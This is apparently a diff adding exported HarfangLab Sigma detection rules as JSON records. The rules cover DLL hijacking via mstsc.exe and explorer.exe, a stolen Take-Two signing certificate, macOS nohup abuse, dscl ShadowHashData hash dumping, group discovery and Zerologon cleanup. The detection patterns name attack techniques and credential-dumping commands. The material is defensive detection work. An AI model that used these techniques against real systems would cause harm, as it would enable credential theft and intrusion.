+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mstsc.yml",
+  "content": "title: DLL Hijacking via mstsc.exe\nid: 97ac274a-41e8-4bf8-8eff-f1707706b244\ndescription: |\n    Detects potential Windows DLL Hijacking via mstsc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mstsc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\CRYPTUI.dll'\n            - '\\explorerframe.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\ktmw32.dll'\n            - '\\msctf.dll'\n            - '\\netapi32.dll'\n            - '\\NETUTILS.DLL'\n            - '\\shell32.dll'\n            - '\\SSPICLI.DLL'\n            - '\\version.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n            - '\\WINHTTP.dll'\n            - '\\WININET.dll'\n            - '\\WKSCLI.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "97ac274a-41e8-4bf8-8eff-f1707706b244",
+  "rule_name": "DLL Hijacking via mstsc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mstsc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "97be2bc7-8ea3-4c14-ad1e-5cee3597702b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079951Z",
+  "creation_date": "2026-03-23T11:45:34.079953Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079963Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/cra0_net/status/1739995773746696386",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1588_003_suspicious_taketwo_signed_binary.yml",
+  "content": "title: Suspicious Binary Signed with Take-Two Stolen Certificate\nid: 97be2bc7-8ea3-4c14-ad1e-5cee3597702b\ndescription: |\n    Detects the execution of suspicious binaries signed with the Take-Two's stolen certificate.\n    In 2023, Take-Two suffered a data-breach and a few gigabytes of data were stolen including an old code-signing certificate.\n    Adversaries may use the stolen certificate to sign malicious code and evade AV/EDR detection.\n    It is recommended to investigate the binary to determine its legitimacy, for instance by determining whether this file may be part of a legitimate Take-Two Interactive component.\nreferences:\n    - https://x.com/cra0_net/status/1739995773746696386\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2023/12/28\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.StolenCertificate\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_displayname:\n        ProcessSignature: 'Take-Two Interactive Software, Inc.'\n\n    selection_serial:\n        ProcessSignatureSignerSerialNumber: '695043D68F15550FD5DB370FA8817B04'\n\n    filter_launcher:\n        Description:\n            - '2K Launcher Agent'\n            - '2K Launcher'\n            - '2K Launcher Updater'\n        Image|endswith:\n            - '\\LauncherPatcher.exe'\n            - '\\crashagent64.exe'\n            - '\\launcher_helper.exe'\n            - '\\t2gp.exe'\n            - '\\launcher.exe'\n\n    condition: 1 of selection_* and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "97be2bc7-8ea3-4c14-ad1e-5cee3597702b",
+  "rule_name": "Suspicious Binary Signed with Take-Two Stolen Certificate",
+  "rule_description": "Detects the execution of suspicious binaries signed with the Take-Two's stolen certificate.\nIn 2023, Take-Two suffered a data-breach and a few gigabytes of data were stolen including an old code-signing certificate.\nAdversaries may use the stolen certificate to sign malicious code and evade AV/EDR detection.\nIt is recommended to investigate the binary to determine its legitimacy, for instance by determining whether this file may be part of a legitimate Take-Two Interactive component.\n",
+  "rule_creation_date": "2023-12-28",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "97d348be-3508-4263-a359-6245f34e429c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619498Z",
+  "creation_date": "2026-03-23T11:45:34.619500Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619504Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ss64.com/mac/nohup.html",
+    "https://attack.mitre.org/techniques/T1564/011/"
+  ],
+  "name": "t1564_011_nohup_execution.yml",
+  "content": "title: Suspicious nohup Execution\nid: 97d348be-3508-4263-a359-6245f34e429c\ndescription: |\n    Detects the execution of a command using nohup in a suspicious execution context.\n    On macOS, the nohup binary allows a usre to run a command with hangup signals (SIGHUP) ignored.\n    Adversaries may invoke processes using nohup to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n    It is recommended to analyze the execution context around the nohup process to look for malicious processes.\nreferences:\n    - https://ss64.com/mac/nohup.html\n    - https://attack.mitre.org/techniques/T1564/011/\ndate: 2024/07/23\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.011\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        ProcessName: 'nohup'\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "97d348be-3508-4263-a359-6245f34e429c",
+  "rule_name": "Suspicious nohup Execution",
+  "rule_description": "Detects the execution of a command using nohup in a suspicious execution context.\nOn macOS, the nohup binary allows a usre to run a command with hangup signals (SIGHUP) ignored.\nAdversaries may invoke processes using nohup to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\nIt is recommended to analyze the execution context around the nohup process to look for malicious processes.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "97ec299c-263c-47ff-89c3-59ff26744ee4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098983Z",
+  "creation_date": "2026-03-23T11:45:34.098986Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098990Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html/",
+    "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/",
+    "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
+    "https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_explorer.yml",
+  "content": "title: DLL Hijacking via EXPLORER.exe\nid: 97ec299c-263c-47ff-89c3-59ff26744ee4\ndescription: |\n    Detects potential Windows DLL Hijacking via EXPLORER.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html/\n    - https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/\n    - https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/\n    - https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'EXPLORER.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\apphelp.dll'\n            - '\\cscui.dll'\n            - '\\explorerframe.dll'\n            - '\\mswb7.dll'\n            - '\\propsys.dll'\n            - '\\structuredquery.dll'\n            - '\\windows.storage.dll'\n            - '\\windows.storage.search.dll'\n            - '\\windowscodecs.dll'\n            - '\\windowsudk.shellcommon.dll'\n            - '\\xmllite.dll'\n            - '\\linkinfo.dll'\n            - '\\mpr.dll'\n            - '\\fxsst.dll'\n            - '\\winmm.dll'\n            - '\\ntshrui.dll'\n            - '\\winhttp.dll'\n            - '\\twinapi.dll'\n    filter_legitimate_image:\n        Image:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\SysWOW64\\explorer.exe'\n            - '?:\\Windows\\System32\\explorer.exe'\n            - '?:\\Windows\\WinSxS\\\\*'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation' # cscui.dll\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "97ec299c-263c-47ff-89c3-59ff26744ee4",
+  "rule_name": "DLL Hijacking via EXPLORER.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via EXPLORER.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "980b1b5c-ef5a-4e4f-b611-0ae94ef47b61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598499Z",
+  "creation_date": "2026-03-23T11:45:34.598503Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598510Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/",
+    "https://attack.mitre.org/techniques/T1555/005/"
+  ],
+  "name": "t1564_001_creds_dump_dscl.yml",
+  "content": "title: Credentials Dumped via dscl\nid: 980b1b5c-ef5a-4e4f-b611-0ae94ef47b61\ndescription: |\n    Detects the usage of dscl to dump hashes from the local directory service, located at \"/var/db/dslocal/nodes/Default/users/*\".\n    This may be used to dump the hash and salt of an user's account. If an attacker is able to crack these hashes, they may obtain valid credentials.\n    It is recommended to check for other suspicious activities by the parent process.\nreferences:\n    - https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/\n    - https://attack.mitre.org/techniques/T1555/005/\ndate: 2024/07/22\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.005\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.dscl\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        ProcessName:\n            - 'defaults'\n            - 'dscl'\n        CommandLine|contains: 'ShadowHashData'\n\n    exclusion_deletion:\n        CommandLine|contains: ' -delete '\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "980b1b5c-ef5a-4e4f-b611-0ae94ef47b61",
+  "rule_name": "Credentials Dumped via dscl",
+  "rule_description": "Detects the usage of dscl to dump hashes from the local directory service, located at \"/var/db/dslocal/nodes/Default/users/*\".\nThis may be used to dump the hash and salt of an user's account. If an attacker is able to crack these hashes, they may obtain valid credentials.\nIt is recommended to check for other suspicious activities by the parent process.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9818513b-bd56-4baf-83bd-4c6965a49eb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295180Z",
+  "creation_date": "2026-03-23T11:45:35.295183Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295189Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1069/001/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1069_001_dscl_readall_groups_macos.yml",
+  "content": "title: Groups Properties Discovered via Dscl\nid: 9818513b-bd56-4baf-83bd-4c6965a49eb0\ndescription: |\n    Detects the execution of the dscl command to list all groups and their properties.\n    Attackers may use it during the discovery phase of an attack to retrieve groups and their properties (like permissions heritage and id) of any users.\n    It is recommended to investigate the parent process and look for any other potentially malicious actions taken by it.\nreferences:\n    - https://attack.mitre.org/techniques/T1069/001/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/12/01\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.001\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Dscl\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        # dscl . -readall groups\n        # dscl . -readall /Groups\n        # dscl . -readall /Groups some_property\n        Image: '/usr/bin/dscl'\n        ParentImage|contains: '?'\n        CommandLine|contains|all:\n            - 'readall '\n            - 'groups'\n\n    exclusion_munki:\n        - Ancestors|contains: '/Library/MunkiReport/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python'\n        - ParentCommandLine|contains: '/usr/local/munkireport/scripts/'\n\n    exclusion_mosyle:\n        Ancestors|contains: '|/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM|'\n\n    exclusion_package_script:\n        GrandparentCommandLine: '/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9818513b-bd56-4baf-83bd-4c6965a49eb0",
+  "rule_name": "Groups Properties Discovered via Dscl",
+  "rule_description": "Detects the execution of the dscl command to list all groups and their properties.\nAttackers may use it during the discovery phase of an attack to retrieve groups and their properties (like permissions heritage and id) of any users.\nIt is recommended to investigate the parent process and look for any other potentially malicious actions taken by it.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1069.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "98216765-b1d4-45cd-9711-7c5edcd45264",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086189Z",
+  "creation_date": "2026-03-23T11:45:34.086191Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086195Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware",
+    "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin",
+    "https://attack.mitre.org/techniques/T1068/",
+    "https://attack.mitre.org/techniques/T1210/",
+    "https://attack.mitre.org/techniques/T1212/"
+  ],
+  "name": "t1068_zerologon_tool_usage.yml",
+  "content": "title: Possible Zerologon Exploitation\nid: 98216765-b1d4-45cd-9711-7c5edcd45264\ndescription: |\n    Detects the usage of the Reset-ComputerMachinePassword PowerShell cmdlet launched by a new service.\n    This can be the result of the exploitation of the CVE-2020-1472 vulnerability (aka Zerologon), an elevation of privilege vulnerability that enables attackers to obtain full domain administrator privileges.\n    This cmdlet is used to restore the domain controller’s password after the exploitation of the vulnerability.\n    Is recommended to contact system administrators to determine whether this action was legitimate as well as to look for other malicious actions stemming from the services.exe process on the host.\nreferences:\n    - https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware\n    - https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin\n    - https://attack.mitre.org/techniques/T1068/\n    - https://attack.mitre.org/techniques/T1210/\n    - https://attack.mitre.org/techniques/T1212/\ndate: 2021/11/05\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - attack.lateral_movement\n    - attack.t1210\n    - attack.credential_access\n    - attack.t1212\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2020-1472\n    - classification.Windows.Exploit.ZeroLogon\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage: '?:\\Windows\\System32\\services.exe'\n        CommandLine|contains: 'Reset-ComputerMachinePassword'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "98216765-b1d4-45cd-9711-7c5edcd45264",
+  "rule_name": "Possible Zerologon Exploitation",
+  "rule_description": "Detects the usage of the Reset-ComputerMachinePassword PowerShell cmdlet launched by a new service.\nThis can be the result of the exploitation of the CVE-2020-1472 vulnerability (aka Zerologon), an elevation of privilege vulnerability that enables attackers to obtain full domain administrator privileges.\nThis cmdlet is used to restore the domain controller’s password after the exploitation of the vulnerability.\nIs recommended to contact system administrators to determine whether this action was legitimate as well as to look for other malicious actions stemming from the services.exe process on the host.\n",
+  "rule_creation_date": "2021-11-05",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.lateral_movement",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1210",
+    "attack.t1212"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "98269cb0-6fe3-4fda-85c3-84a45160ad01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590128Z",
+  "creation_date": "2026-03-23T11:45:34.590132Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590140Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/techniques/T1095/"
+  ],
+  "name": "t1049_netcat_windows.yml",
